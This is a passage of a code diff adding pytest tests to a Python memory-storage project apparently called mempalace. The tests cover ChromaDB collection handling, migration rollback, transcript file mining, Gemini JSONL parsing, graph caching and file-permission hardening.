"mempalace.mcp_server._get_cached_metadata",
return_value=[{"wing": "proj", "room": "r"}, None],
):
result = tool_status()
# The None-metadata drawer falls under 'unknown/unknown' — no crash,
# no partial flag.
assert "error" not in result
assert result.get("partial") is not True
assert result["total_drawers"] == 2
assert result["wings"].get("proj") == 1
assert result["wings"].get("unknown") == 1
def test_list_wings(self, monkeypatch, config, palace_path, seeded_collection, kg):
_patch_mcp_server(monkeypatch, config, kg)
from mempalace.mcp_server import tool_list_wings
@@ -482,6 +514,25 @@ class TestWriteTools:
)
assert result["is_duplicate"] is False
def test_check_duplicate_short_circuits_when_vector_disabled(self, monkeypatch):
from mempalace import mcp_server
monkeypatch.setattr(
mcp_server,
"hnsw_capacity_status",
lambda *_args, **_kwargs: {"diverged": True, "message": "capacity mismatch"},
)
def fail_get_collection():
raise AssertionError("_get_collection must not run when vector search is disabled")
monkeypatch.setattr(mcp_server, "_get_collection", fail_get_collection)
result = mcp_server.tool_check_duplicate("content")
assert result["is_duplicate"] is False
assert result["vector_disabled"] is True
assert result["vector_disabled_reason"] == "capacity mismatch"
def test_get_drawer(self, monkeypatch, config, palace_path, seeded_collection, kg):
_patch_mcp_server(monkeypatch, config, kg)
from mempalace.mcp_server import tool_get_drawer
@@ -708,6 +759,40 @@ class TestDiaryTools:
assert entry1 in contents
assert entry2 in contents
def test_diary_read_empty_wing_spans_all_wings(self, monkeypatch, config, palace_path, kg):
"""diary_read(wing='') must return entries from every wing this agent
wrote to. Hooks write to project-derived wings (#659); a reader that
silos by default wing would never see those entries."""
_patch_mcp_server(monkeypatch, config, kg)
_client, _col = _get_collection(palace_path, create=True)
del _client
from mempalace.mcp_server import tool_diary_read, tool_diary_write
w1 = tool_diary_write(
agent_name="TestAgent",
entry="default-wing entry",
topic="general",
)
w2 = tool_diary_write(
agent_name="TestAgent",
entry="project-wing entry",
topic="general",
wing="wing_someproject",
)
assert w1["success"] and w2["success"]
# Empty wing → return both entries
r = tool_diary_read(agent_name="TestAgent", wing="")
assert r["total"] == 2
contents = {e["content"] for e in r["entries"]}
assert "default-wing entry" in contents
assert "project-wing entry" in contents
# Explicit wing → return only that wing's entries
r_scoped = tool_diary_read(agent_name="TestAgent", wing="wing_someproject")
assert r_scoped["total"] == 1
assert r_scoped["entries"][0]["content"] == "project-wing entry"
# ── Cache Invalidation (inode/mtime) ──────────────────────────────────
@@ -808,3 +893,48 @@ class TestCacheInvalidation:
assert result["success"] is True
assert "Reconnected" in result["message"]
assert isinstance(result["drawers"], int)
def test_get_collection_create_true_avoids_get_or_create_on_reopen(
self, monkeypatch, config, palace_path, kg
):
"""Regression for the MCP-server half of #1262.
ChromaDB 1.5.x's Rust bindings SIGSEGV when
``client.get_or_create_collection`` is called with metadata that
differs from the collection's stored metadata. The Stop hook
path (``tool_diary_write`` -> ``_get_collection(create=True)``)
was reaching that codepath on every session-end; #1262 fixed
the equivalent crash class in ``ChromaBackend`` but left this
site untouched. ``_get_collection(create=True)`` must call
``client.get_collection`` first and only fall back to
``client.create_collection`` when the collection does not yet
exist on disk.
"""
_patch_mcp_server(monkeypatch, config, kg)
from mempalace import mcp_server
col1 = mcp_server._get_collection(create=True)
assert col1 is not None
client = mcp_server._client_cache
assert client is not None
# Patch at the class level — chromadb's mtime-change detection
# may rebuild the client between calls, so an instance-level
# spy would not survive.
client_cls = type(client)
calls: list[tuple] = []
def _spy(self, *args, **kwargs):
calls.append((args, kwargs))
raise AssertionError(
"get_or_create_collection must not be called on reopen "
"(SIGSEGV path on metadata mismatch)"
)
monkeypatch.setattr(client_cls, "get_or_create_collection", _spy)
mcp_server._collection_cache = None
col2 = mcp_server._get_collection(create=True)
assert col2 is not None
assert calls == [], f"get_or_create_collection was called: {calls}"
+56 -1
View File
@@ -1,9 +1,10 @@
"""Tests for destructive-operation safety in mempalace.migrate."""
import os
from types import SimpleNamespace
from unittest.mock import MagicMock, patch
from mempalace.migrate import migrate
from mempalace.migrate import _restore_stale_palace, migrate
def test_migrate_requires_palace_database(tmp_path, capsys):
@@ -46,3 +47,57 @@ def test_migrate_aborts_without_confirmation(tmp_path, capsys):
assert "Aborted." in out
mock_copytree.assert_not_called()
mock_rmtree.assert_not_called()
def test_restore_stale_palace_with_clean_destination(tmp_path):
"""Rollback when no partial copy exists at palace_path."""
palace_path = tmp_path / "palace"
stale_path = tmp_path / "palace.old"
stale_path.mkdir()
(stale_path / "chroma.sqlite3").write_bytes(b"original")
_restore_stale_palace(str(palace_path), str(stale_path))
assert palace_path.is_dir()
assert (palace_path / "chroma.sqlite3").read_bytes() == b"original"
assert not stale_path.exists()
def test_restore_stale_palace_clears_partial_copy(tmp_path):
"""Rollback must remove a partially-copied palace_path before restoring.
Simulates the Qodo-reported hazard: shutil.move() began creating
palace_path, then failed. A bare os.replace(stale, palace_path) would
trip on the existing destination; _restore_stale_palace must clear it.
"""
palace_path = tmp_path / "palace"
stale_path = tmp_path / "palace.old"
stale_path.mkdir()
(stale_path / "chroma.sqlite3").write_bytes(b"original")
palace_path.mkdir()
(palace_path / "half-copied.bin").write_bytes(b"garbage")
_restore_stale_palace(str(palace_path), str(stale_path))
assert palace_path.is_dir()
assert (palace_path / "chroma.sqlite3").read_bytes() == b"original"
assert not (palace_path / "half-copied.bin").exists()
assert not stale_path.exists()
def test_restore_stale_palace_logs_and_swallows_on_failure(tmp_path, capsys):
"""If restore itself fails, log both paths — don't raise from rollback."""
palace_path = tmp_path / "palace"
stale_path = tmp_path / "palace.old"
stale_path.mkdir()
# Force os.replace to fail deterministically.
with patch("mempalace.migrate.os.replace", side_effect=OSError("boom")):
_restore_stale_palace(str(palace_path), str(stale_path))
out = capsys.readouterr().out
assert "CRITICAL" in out
assert os.fspath(palace_path) in out
assert os.fspath(stale_path) in out
+345
View File
@@ -1,4 +1,5 @@
import os
import shlex
import shutil
import tempfile
from pathlib import Path
@@ -66,6 +67,34 @@ def test_load_config_uses_defaults_when_yaml_missing():
shutil.rmtree(tmpdir)
def test_load_config_no_yaml_normalizes_hyphenated_wing():
"""Fallback wing name is normalized so it matches topics_by_wing keys.
Regression for the no-yaml branch of #1194: ``cmd_init`` writes
``topics_by_wing`` under the normalized slug, so the miner's
fallback wing must use the same normalization or the tunnel lookup
misses every key for hyphenated dirnames.
"""
parent = tempfile.mkdtemp()
try:
project_root = Path(parent) / "my-cool-app"
project_root.mkdir()
config = load_config(str(project_root))
assert config["wing"] == "my_cool_app"
finally:
shutil.rmtree(parent)
def test_scan_project_skips_mempalace_generated_files():
with tempfile.TemporaryDirectory() as tmpdir:
project_root = Path(tmpdir).resolve()
write_file(project_root / "entities.json", '{"people": [], "projects": []}')
write_file(project_root / "mempalace.yaml", "wing: test\nrooms: []\n")
write_file(project_root / "notes.md", "real user content\n" * 10)
assert scanned_files(project_root) == ["notes.md"]
def test_scan_project_respects_gitignore():
tmpdir = tempfile.mkdtemp()
try:
@@ -343,6 +372,76 @@ def test_status_missing_palace_does_not_create_empty_collection(tmp_path, capsys
assert not palace_path.exists()
def test_status_handles_none_metadata_without_crash(tmp_path, capsys):
"""status must not crash when col.get returns a None entry in metadatas.
Palaces can contain drawers whose metadata was never set (older mining
paths, drawers written by third-party tools). Before the guard, status
crashed mid-tally with ``AttributeError: 'NoneType' object has no
attribute 'get'`` at the wing/room histogram line."""
from unittest.mock import patch
class FakeCol:
def count(self):
return 2
def get(self, *args, **kwargs):
return {
"ids": ["a", "b"],
"documents": ["doc a", "doc b"],
"metadatas": [{"wing": "proj", "room": "r"}, None],
}
with patch("mempalace.miner.get_collection", return_value=FakeCol()):
status(str(tmp_path))
out = capsys.readouterr().out
# No crash; the None-metadata row is counted under the ?/? fallback
# alongside the real wing=proj row.
assert "WING: ?" in out
assert "WING: proj" in out
def test_process_file_uses_bounded_upsert_batches(tmp_path, monkeypatch):
from mempalace import miner
class FakeCol:
def __init__(self):
self.batch_sizes = []
def get(self, *args, **kwargs):
return {"ids": []}
def delete(self, *args, **kwargs):
pass
def upsert(self, documents, ids, metadatas):
self.batch_sizes.append(len(documents))
source = tmp_path / "src.py"
source.write_text("print('hello')\n" * 20, encoding="utf-8")
chunks = [{"content": f"chunk {i} " * 20, "chunk_index": i} for i in range(5)]
col = FakeCol()
monkeypatch.setattr(miner, "DRAWER_UPSERT_BATCH_SIZE", 2)
monkeypatch.setattr(miner, "chunk_text", lambda content, source_file: chunks)
monkeypatch.setattr(miner, "detect_hall", lambda content: "code")
monkeypatch.setattr(miner, "_extract_entities_for_metadata", lambda content: "")
drawers, room = miner.process_file(
source,
tmp_path,
col,
"wing",
[{"name": "general", "description": "General"}],
"agent",
False,
)
assert drawers == 5
assert room == "general"
assert col.batch_sizes == [2, 2, 1]
# ── normalize_version schema gate ───────────────────────────────────────
#
# When the normalization pipeline changes shape (e.g., strip_noise lands),
@@ -416,3 +515,249 @@ def test_add_drawer_stamps_normalize_version(tmp_path):
assert meta["normalize_version"] == NORMALIZE_VERSION
finally:
del col, client
def test_mine_creates_topic_tunnels_for_shared_topics(tmp_path, monkeypatch):
"""End-to-end: when two wings have already-confirmed topics that overlap,
the miner's mine-time pass drops a cross-wing tunnel between them.
Issue #1180.
"""
from mempalace import miner, palace_graph
# Redirect both the registry and tunnel-storage paths into tmp_path
# so we never touch the developer's real ~/.mempalace directory.
registry = tmp_path / "known_entities.json"
monkeypatch.setattr(miner, "_ENTITY_REGISTRY_PATH", str(registry))
miner._ENTITY_REGISTRY_CACHE.update({"mtime": None, "names": frozenset(), "raw": {}})
tunnels_file = tmp_path / "tunnels.json"
monkeypatch.setattr(palace_graph, "_TUNNEL_FILE", str(tunnels_file))
# Pre-populate the registry as if init had been run for two wings that
# share a topic.
miner.add_to_known_entities({"topics": ["foo", "bar"]}, wing="wing_one")
miner.add_to_known_entities({"topics": ["foo", "baz"]}, wing="wing_two")
# Mine wing_two — should drop tunnels between wing_two and wing_one
# for every shared topic. Just one in this case.
project_root = tmp_path / "wing_two_project"
project_root.mkdir()
write_file(
project_root / "notes.md",
"Some prose long enough to make a chunk. " * 20,
)
with open(project_root / "mempalace.yaml", "w") as f:
yaml.dump({"wing": "wing_two", "rooms": [{"name": "general"}]}, f)
palace_path = tmp_path / "palace"
mine(str(project_root), str(palace_path))
listed = palace_graph.list_tunnels()
assert len(listed) == 1
rooms = {listed[0]["source"]["room"], listed[0]["target"]["room"]}
# Topic tunnels use a ``topic:<name>`` synthetic room so they can't
# collide with literal folder-derived rooms of the same name.
assert rooms == {"topic:foo"}
assert listed[0]["kind"] == "topic"
wings = {listed[0]["source"]["wing"], listed[0]["target"]["wing"]}
assert wings == {"wing_one", "wing_two"}
def test_mine_no_tunnel_when_threshold_blocks_overlap(tmp_path, monkeypatch):
"""Bumping ``MEMPALACE_TOPIC_TUNNEL_MIN_COUNT`` above the actual overlap
suppresses tunnel creation."""
from mempalace import miner, palace_graph
registry = tmp_path / "known_entities.json"
monkeypatch.setattr(miner, "_ENTITY_REGISTRY_PATH", str(registry))
miner._ENTITY_REGISTRY_CACHE.update({"mtime": None, "names": frozenset(), "raw": {}})
tunnels_file = tmp_path / "tunnels.json"
monkeypatch.setattr(palace_graph, "_TUNNEL_FILE", str(tunnels_file))
monkeypatch.setenv("MEMPALACE_TOPIC_TUNNEL_MIN_COUNT", "2")
miner.add_to_known_entities({"topics": ["foo"]}, wing="wing_one")
miner.add_to_known_entities({"topics": ["foo"]}, wing="wing_two")
project_root = tmp_path / "wing_two_project"
project_root.mkdir()
write_file(
project_root / "notes.md",
"Some prose long enough to make a chunk. " * 20,
)
with open(project_root / "mempalace.yaml", "w") as f:
yaml.dump({"wing": "wing_two", "rooms": [{"name": "general"}]}, f)
palace_path = tmp_path / "palace"
mine(str(project_root), str(palace_path))
# min_count=2 but only 1 shared topic → no tunnel.
assert palace_graph.list_tunnels() == []
def test_mine_no_tunnel_when_only_one_wing_has_topics(tmp_path, monkeypatch):
"""A wing in isolation (no other wing has confirmed topics) creates no tunnels."""
from mempalace import miner, palace_graph
registry = tmp_path / "known_entities.json"
monkeypatch.setattr(miner, "_ENTITY_REGISTRY_PATH", str(registry))
miner._ENTITY_REGISTRY_CACHE.update({"mtime": None, "names": frozenset(), "raw": {}})
tunnels_file = tmp_path / "tunnels.json"
monkeypatch.setattr(palace_graph, "_TUNNEL_FILE", str(tunnels_file))
miner.add_to_known_entities({"topics": ["foo"]}, wing="wing_one")
project_root = tmp_path / "wing_one_project"
project_root.mkdir()
write_file(
project_root / "notes.md",
"Some prose long enough to make a chunk. " * 20,
)
with open(project_root / "mempalace.yaml", "w") as f:
yaml.dump({"wing": "wing_one", "rooms": [{"name": "general"}]}, f)
palace_path = tmp_path / "palace"
mine(str(project_root), str(palace_path))
assert palace_graph.list_tunnels() == []
# ── graceful Ctrl-C handling (#1182) ────────────────────────────────────
def _make_minable_project(project_root: Path, n_files: int = 3) -> None:
"""Create a tiny project with N readable files + a config so mine() runs."""
for idx in range(n_files):
write_file(
project_root / f"f{idx}.py",
f"def fn_{idx}():\n print('hi {idx}')\n" * 20,
)
with open(project_root / "mempalace.yaml", "w") as f:
yaml.dump(
{
"wing": "interrupt_test",
"rooms": [{"name": "general", "description": "General"}],
},
f,
)
def test_mine_keyboard_interrupt_prints_summary_and_exits_130(tmp_path, capsys):
"""A KeyboardInterrupt mid-loop produces the clean summary + exit 130."""
import pytest
from unittest.mock import patch
project_root = tmp_path / "proj"
project_root.mkdir()
_make_minable_project(project_root, n_files=4)
palace_path = project_root / "palace"
call_count = {"n": 0}
def fake_process_file(*args, **kwargs):
call_count["n"] += 1
if call_count["n"] == 2:
raise KeyboardInterrupt
return (1, "general")
with patch("mempalace.miner.process_file", side_effect=fake_process_file):
with pytest.raises(SystemExit) as exc_info:
mine(str(project_root), str(palace_path))
assert exc_info.value.code == 130
out = capsys.readouterr().out
assert "Mine interrupted." in out
assert "files_processed: 1/" in out
assert "drawers_filed:" in out
assert "last_file:" in out
assert "upserted idempotently" in out
def test_mine_keyboard_interrupt_quotes_path_with_spaces_in_resume_hint(tmp_path, capsys):
"""Resume hint must shell-quote the project dir so a path containing
spaces / metacharacters yields a copy-paste-safe `mempalace mine ...`
command. Otherwise users on a path like "My Project" hit a broken
invocation when they re-run after Ctrl-C."""
import pytest
from unittest.mock import patch
project_root = tmp_path / "my project"
project_root.mkdir()
_make_minable_project(project_root, n_files=2)
palace_path = project_root / "palace"
def fake_process_file(*args, **kwargs):
raise KeyboardInterrupt
with patch("mempalace.miner.process_file", side_effect=fake_process_file):
with pytest.raises(SystemExit):
mine(str(project_root), str(palace_path))
out = capsys.readouterr().out
# Use shlex.quote so the assertion matches whatever the production
# code emits on this platform (POSIX paths with spaces vs Windows
# paths with backslashes both end up wrapped in single quotes).
assert f"mempalace mine {shlex.quote(str(project_root))}" in out
def test_mine_cleans_up_pid_file_on_interrupt(tmp_path):
"""Our own PID entry in mine.pid is removed in the finally clause."""
import pytest
from unittest.mock import patch
project_root = tmp_path / "proj"
project_root.mkdir()
_make_minable_project(project_root, n_files=2)
palace_path = project_root / "palace"
pid_file = tmp_path / "mine.pid"
pid_file.write_text(str(os.getpid()))
def fake_process_file(*args, **kwargs):
raise KeyboardInterrupt
with (
patch("mempalace.hooks_cli._MINE_PID_FILE", pid_file),
patch("mempalace.miner.process_file", side_effect=fake_process_file),
):
with pytest.raises(SystemExit):
mine(str(project_root), str(palace_path))
assert not pid_file.exists(), "Our PID entry should be cleaned up on interrupt"
def test_mine_cleans_up_pid_file_on_clean_exit(tmp_path):
"""Successful mine also removes its own PID entry in the finally clause."""
from unittest.mock import patch
project_root = tmp_path / "proj"
project_root.mkdir()
_make_minable_project(project_root, n_files=1)
palace_path = project_root / "palace"
pid_file = tmp_path / "mine.pid"
pid_file.write_text(str(os.getpid()))
with patch("mempalace.hooks_cli._MINE_PID_FILE", pid_file):
mine(str(project_root), str(palace_path))
assert not pid_file.exists()
def test_mine_does_not_remove_other_processes_pid_file(tmp_path):
"""A PID file pointing at someone else's PID is left untouched."""
from unittest.mock import patch
project_root = tmp_path / "proj"
project_root.mkdir()
_make_minable_project(project_root, n_files=1)
palace_path = project_root / "palace"
other_pid = os.getpid() + 999_999 # a PID that isn't us
pid_file = tmp_path / "mine.pid"
pid_file.write_text(str(other_pid))
with patch("mempalace.hooks_cli._MINE_PID_FILE", pid_file):
mine(str(project_root), str(palace_path))
assert pid_file.exists(), "Foreign PID entries must not be removed"
assert pid_file.read_text().strip() == str(other_pid)
+126
View File
@@ -0,0 +1,126 @@
"""TDD: miner.py must not silently drop .jsonl files.
The project miner (mempalace.miner.scan_project) walks a directory and
keeps only files whose suffix is in READABLE_EXTENSIONS. The whitelist
contains `.json` but NOT `.jsonl`. Every ChatGPT export, Claude Code
transcript, or any other jsonl transcript dumped into a project
directory is silently dropped with no user-visible output.
Two paths to fix this, both tested here:
1. READABLE_EXTENSIONS must include `.jsonl` so the file is at least
readable as text (jsonl is line-delimited JSON — each line is
already valid text for embedding).
2. OR scan_project must surface skipped .jsonl files to the user so
they know to use `--mode convos`.
We test (1) — include .jsonl in READABLE_EXTENSIONS. This matches how
`.json` is already handled: the miner doesn't care what the structure
is, it chunks the text.
Written BEFORE the fix.
"""
import tempfile
from pathlib import Path
from unittest.mock import patch
from mempalace.miner import MAX_FILE_SIZE, READABLE_EXTENSIONS, scan_project
class TestJsonlNotSilentlySkipped:
def test_jsonl_in_readable_extensions(self):
"""`.jsonl` must be in the readable-extensions whitelist.
`.json` is already there (see mempalace/miner.py:30). `.jsonl`
is conceptually the same thing — line-delimited JSON — and all
of Claude Code's transcripts, ChatGPT exports, and similar
tooling writes `.jsonl`. Excluding it silently drops user data.
"""
assert ".jsonl" in READABLE_EXTENSIONS, (
"mempalace/miner.py:READABLE_EXTENSIONS contains `.json` "
"but NOT `.jsonl`. Every jsonl file in a mined project is "
"silently skipped at miner.py:722 "
"(`if filepath.suffix.lower() not in READABLE_EXTENSIONS: "
"continue`). This causes the 'convos not being saved' bug "
"reported by users — the hook fires `mempalace mine`, the "
"miner walks the directory, skips every .jsonl file, exits "
"cleanly. No warning, no log line, user sees nothing wrong. "
"Add `.jsonl` to READABLE_EXTENSIONS."
)
def test_scan_project_picks_up_jsonl_file(self):
"""scan_project should find .jsonl files in the target dir."""
with tempfile.TemporaryDirectory() as tmp:
tmpdir = Path(tmp)
jsonl_path = tmpdir / "transcript.jsonl"
jsonl_path.write_text(
'{"role": "user", "content": "hello"}\n'
'{"role": "assistant", "content": "hi there"}\n'
'{"role": "user", "content": "how do I install this"}\n'
'{"role": "assistant", "content": "pip install mempalace"}\n'
)
found = scan_project(str(tmpdir))
found_names = [p.name for p in found]
assert "transcript.jsonl" in found_names, (
"scan_project silently dropped transcript.jsonl. "
f"Returned: {found_names}. Users placing transcript "
"exports in a project directory expect them to be mined."
)
def test_large_jsonl_not_silently_dropped_by_size_cap(self):
"""Long sessions produce >10 MB transcripts. They must still mine.
The legacy cap was 10 MB, which is smaller than a long Claude Code
session's transcript. Users hitting the cap lost their entire
conversation to a silent `if size > MAX: continue` at miner.py:732.
Raise the cap well above any realistic transcript size.
"""
# 10 MB cap was silent failure — real Claude Code long sessions
# exceed this. The cap must accommodate them.
assert MAX_FILE_SIZE >= 100 * 1024 * 1024, (
f"MAX_FILE_SIZE is {MAX_FILE_SIZE} bytes "
f"({MAX_FILE_SIZE / 1024 / 1024:.0f} MB). Long Claude Code "
"sessions produce transcripts larger than 10 MB and get "
"silently dropped. Raise to at least 100 MB — chunking "
"at 800 chars per drawer means source file size doesn't "
"matter for downstream storage."
)
def test_scan_project_picks_up_50mb_jsonl(self):
"""A 50 MB .jsonl must not be filtered out by the size cap.
We don't actually write 50 MB (slow test). Instead, we mock
stat().st_size to report a 50 MB file and confirm scan_project
still includes it.
"""
with tempfile.TemporaryDirectory() as tmp:
tmpdir = Path(tmp)
big_jsonl = tmpdir / "big_transcript.jsonl"
# Write a small real file so the existence / extension / text
# checks pass; then mock its reported size.
big_jsonl.write_text('{"role": "user", "content": "hi"}\n')
fake_size = 50 * 1024 * 1024 # 50 MB
real_stat = Path.stat
def fake_stat(self, *args, **kwargs):
result = real_stat(self, *args, **kwargs)
if self.name == "big_transcript.jsonl":
class _FakeStat:
st_size = fake_size
st_mode = result.st_mode
return _FakeStat()
return result
with patch.object(Path, "stat", fake_stat):
found = scan_project(str(tmpdir))
found_names = [p.name for p in found]
assert "big_transcript.jsonl" in found_names, (
f"50 MB .jsonl was dropped by size cap (MAX_FILE_SIZE="
f"{MAX_FILE_SIZE}). Returned: {found_names}."
)
+163
View File
@@ -11,6 +11,7 @@ from mempalace.normalize import (
_try_claude_ai_json,
_try_claude_code_jsonl,
_try_codex_jsonl,
_try_gemini_jsonl,
_try_normalize_json,
_try_slack_json,
normalize,
@@ -450,6 +451,168 @@ def test_codex_jsonl_payload_not_dict():
assert result is not None
# ── _try_gemini_jsonl ──────────────────────────────────────────────────
#
# Gemini CLI sessions live at ``~/.gemini/tmp/<project_hash>/chats/`` as
# JSONL. The schema (per google-gemini/gemini-cli#15292):
#
# {"type":"session_metadata","sessionId":"...","projectHash":"...",...}
# {"type":"user","id":"msg1","content":[{"text":"Hello"}]}
# {"type":"gemini","id":"msg2","content":[{"text":"Hi"}]}
# {"type":"message_update","id":"msg2","tokens":{"input":10,"output":5}}
#
# Detection requires a ``session_metadata`` record so this parser does
# not false-positive against Claude Code or Codex JSONL. ``message_update``
# entries (token-count deltas only) are skipped — they carry no message
# text. ``content`` is an array of ``{"text": "..."}`` blocks; we join
# all text blocks for a given message.
def test_gemini_jsonl_valid():
lines = [
json.dumps({"type": "session_metadata", "sessionId": "abc", "projectHash": "h"}),
json.dumps({"type": "user", "id": "m1", "content": [{"text": "Hello"}]}),
json.dumps({"type": "gemini", "id": "m2", "content": [{"text": "Hi there"}]}),
]
result = _try_gemini_jsonl("\n".join(lines))
assert result is not None
assert "> Hello" in result
assert "Hi there" in result
def test_gemini_jsonl_multi_turn():
lines = [
json.dumps({"type": "session_metadata", "sessionId": "s"}),
json.dumps({"type": "user", "content": [{"text": "Q1"}]}),
json.dumps({"type": "gemini", "content": [{"text": "A1"}]}),
json.dumps({"type": "user", "content": [{"text": "Q2"}]}),
json.dumps({"type": "gemini", "content": [{"text": "A2"}]}),
]
result = _try_gemini_jsonl("\n".join(lines))
assert result is not None
assert "> Q1" in result
assert "A1" in result
assert "> Q2" in result
assert "A2" in result
def test_gemini_jsonl_no_session_metadata():
"""Without session_metadata, parser returns None — guards against false
positives on Claude Code / Codex JSONL passed through the dispatch chain."""
lines = [
json.dumps({"type": "user", "content": [{"text": "Hi"}]}),
json.dumps({"type": "gemini", "content": [{"text": "Hello"}]}),
]
result = _try_gemini_jsonl("\n".join(lines))
assert result is None
def test_gemini_jsonl_skips_message_update():
"""message_update records carry only token counts — must be ignored,
not turned into empty drawers or duplicated assistant turns."""
lines = [
json.dumps({"type": "session_metadata"}),
json.dumps({"type": "user", "content": [{"text": "Q"}]}),
json.dumps({"type": "gemini", "content": [{"text": "A"}]}),
json.dumps({"type": "message_update", "id": "m2", "tokens": {"input": 10, "output": 5}}),
]
result = _try_gemini_jsonl("\n".join(lines))
assert result is not None
assert "tokens" not in result
assert "input" not in result
def test_gemini_jsonl_too_few_messages():
"""Mirror codex/claude_code behavior: < 2 conversational messages = None."""
lines = [
json.dumps({"type": "session_metadata"}),
json.dumps({"type": "user", "content": [{"text": "only one msg"}]}),
]
result = _try_gemini_jsonl("\n".join(lines))
assert result is None
def test_gemini_jsonl_multi_block_content():
"""A single message can have multiple text blocks in its content array
(e.g. a thinking block + a final answer). Both should be concatenated
into one transcript turn, in order."""
lines = [
json.dumps({"type": "session_metadata"}),
json.dumps({"type": "user", "content": [{"text": "Q"}]}),
json.dumps(
{
"type": "gemini",
"content": [{"text": "First part."}, {"text": "Second part."}],
}
),
]
result = _try_gemini_jsonl("\n".join(lines))
assert result is not None
assert "First part." in result
assert "Second part." in result
def test_gemini_jsonl_empty_content_skipped():
"""A message whose content array yields no text should be skipped, not
emit an empty turn that would corrupt the transcript."""
lines = [
json.dumps({"type": "session_metadata"}),
json.dumps({"type": "user", "content": []}),
json.dumps({"type": "user", "content": [{"text": "real Q"}]}),
json.dumps({"type": "gemini", "content": [{"text": "real A"}]}),
]
result = _try_gemini_jsonl("\n".join(lines))
assert result is not None
assert "> real Q" in result
assert "real A" in result
def test_gemini_jsonl_invalid_json_lines_skipped():
"""A malformed line in the middle of the stream must not abort parsing —
the rest of the session should still produce a transcript."""
lines = [
json.dumps({"type": "session_metadata"}),
"not-valid-json{",
json.dumps({"type": "user", "content": [{"text": "Q"}]}),
json.dumps({"type": "gemini", "content": [{"text": "A"}]}),
]
result = _try_gemini_jsonl("\n".join(lines))
assert result is not None
assert "> Q" in result
def test_gemini_jsonl_does_not_match_codex():
"""Codex JSONL passed in must NOT be parsed by the gemini adapter — the
dispatch chain in _try_normalize_json relies on each adapter returning
None when it doesn't recognize a format."""
lines = [
json.dumps({"type": "session_meta", "payload": {}}),
json.dumps({"type": "event_msg", "payload": {"type": "user_message", "message": "Q"}}),
json.dumps({"type": "event_msg", "payload": {"type": "agent_message", "message": "A"}}),
]
result = _try_gemini_jsonl("\n".join(lines))
assert result is None
def test_gemini_jsonl_messages_before_session_metadata_discarded():
"""user/gemini turns that appear before the session_metadata sentinel must
be silently discarded, not counted as conversational messages. Only turns
after the sentinel contribute to the transcript."""
lines = [
json.dumps({"type": "user", "content": [{"text": "preamble Q"}]}),
json.dumps({"type": "gemini", "content": [{"text": "preamble A"}]}),
json.dumps({"type": "session_metadata", "sessionId": "s"}),
json.dumps({"type": "user", "content": [{"text": "real Q"}]}),
json.dumps({"type": "gemini", "content": [{"text": "real A"}]}),
]
result = _try_gemini_jsonl("\n".join(lines))
assert result is not None
assert "preamble Q" not in result
assert "preamble A" not in result
assert "> real Q" in result
assert "real A" in result
# ── _try_claude_ai_json ───────────────────────────────────────────────
+63
View File
@@ -30,6 +30,7 @@ with patch.dict("sys.modules", {"chromadb": MagicMock()}):
build_graph,
find_tunnels,
graph_stats,
invalidate_graph_cache,
traverse,
)
@@ -38,6 +39,9 @@ with patch.dict("sys.modules", {"chromadb": MagicMock()}):
class TestBuildGraph:
def setup_method(self):
invalidate_graph_cache()
def test_empty_collection(self):
col = _make_fake_collection([])
nodes, edges = build_graph(col=col)
@@ -50,6 +54,27 @@ class TestBuildGraph:
assert nodes == {}
assert edges == []
def test_none_metadata_does_not_crash(self):
"""ChromaDB can return None for drawers without metadata (legacy
data, partial writes — upstream #1020 territory). build_graph
must skip None entries silently rather than crash the whole
graph build with AttributeError. Caught 2026-04-25 by
palace-daemon's verify-routes.sh smoke test against the
canonical 151K palace; /stats was 500-ing on a single None
drawer and taking out every consumer of build_graph for the
whole call path."""
col = _make_fake_collection(
[
{"room": "auth", "wing": "wing_code", "hall": "security", "date": "2026-01-01"},
None, # legacy / partial-write drawer with no metadata
{"room": "auth", "wing": "wing_code", "hall": "security", "date": "2026-01-02"},
]
)
nodes, edges = build_graph(col=col)
# The two real drawers were processed; the None one was skipped.
assert "auth" in nodes
assert nodes["auth"]["count"] == 2
def test_single_wing_no_edges(self):
col = _make_fake_collection(
[
@@ -114,11 +139,43 @@ class TestBuildGraph:
nodes, _ = build_graph(col=col)
assert len(nodes["busy"]["dates"]) <= 5
def test_cache_returns_same_result(self):
"""Second call within TTL returns cached nodes without re-scanning.
The cache intentionally ignores col/config args when warm — this is
correct for the MCP server's single-palace use case. Callers that
switch collections must call invalidate_graph_cache() first.
"""
col = _make_fake_collection(
[{"room": "auth", "wing": "wing_code", "hall": "security", "date": "2026-01-01"}]
)
nodes1, edges1 = build_graph(col=col)
# Second call with a *different* collection — should still return cached result
col2 = _make_fake_collection([])
nodes2, edges2 = build_graph(col=col2)
assert nodes1 == nodes2
assert edges1 == edges2
def test_invalidate_clears_cache(self):
"""invalidate_graph_cache() forces a fresh scan on next call."""
col = _make_fake_collection(
[{"room": "auth", "wing": "wing_code", "hall": "security", "date": "2026-01-01"}]
)
build_graph(col=col)
invalidate_graph_cache()
col_empty = _make_fake_collection([])
nodes, edges = build_graph(col=col_empty)
assert nodes == {}
assert edges == []
# --- traverse ---
class TestTraverse:
def setup_method(self):
invalidate_graph_cache()
def _build_col(self):
return _make_fake_collection(
[
@@ -156,6 +213,9 @@ class TestTraverse:
class TestFindTunnels:
def setup_method(self):
invalidate_graph_cache()
def _build_tunnel_col(self):
return _make_fake_collection(
[
@@ -192,6 +252,9 @@ class TestFindTunnels:
class TestGraphStats:
def setup_method(self):
invalidate_graph_cache()
def test_empty_graph(self):
col = _make_fake_collection([])
stats = graph_stats(col=col)
+244
View File
@@ -1,5 +1,8 @@
"""Tests for explicit tunnel helpers in mempalace.palace_graph."""
import os
import stat
import sys
from unittest.mock import MagicMock, patch
import pytest
@@ -37,8 +40,40 @@ class TestTunnelStorage:
palace_graph._save_tunnels(tunnels)
assert palace_graph._load_tunnels() == tunnels
@pytest.mark.skipif(
sys.platform == "win32",
reason="POSIX file-permission bits only apply on Unix-like systems",
)
def test_save_tunnels_restricts_permissions(self, tmp_path, monkeypatch):
"""Regression for #1165 — tunnels.json reveals cross-wing links and
must not be world-readable on shared Linux/multi-user systems."""
tunnel_file = _use_tmp_tunnel_file(monkeypatch, tmp_path)
palace_graph._save_tunnels(
[
{
"id": "x",
"source": {"wing": "a", "room": "r1"},
"target": {"wing": "b", "room": "r2"},
"label": "",
}
]
)
file_mode = stat.S_IMODE(os.stat(tunnel_file).st_mode)
assert file_mode == 0o600, f"tunnels.json mode is {oct(file_mode)}, expected 0o600"
parent_mode = stat.S_IMODE(os.stat(tunnel_file.parent).st_mode)
assert (
parent_mode == 0o700
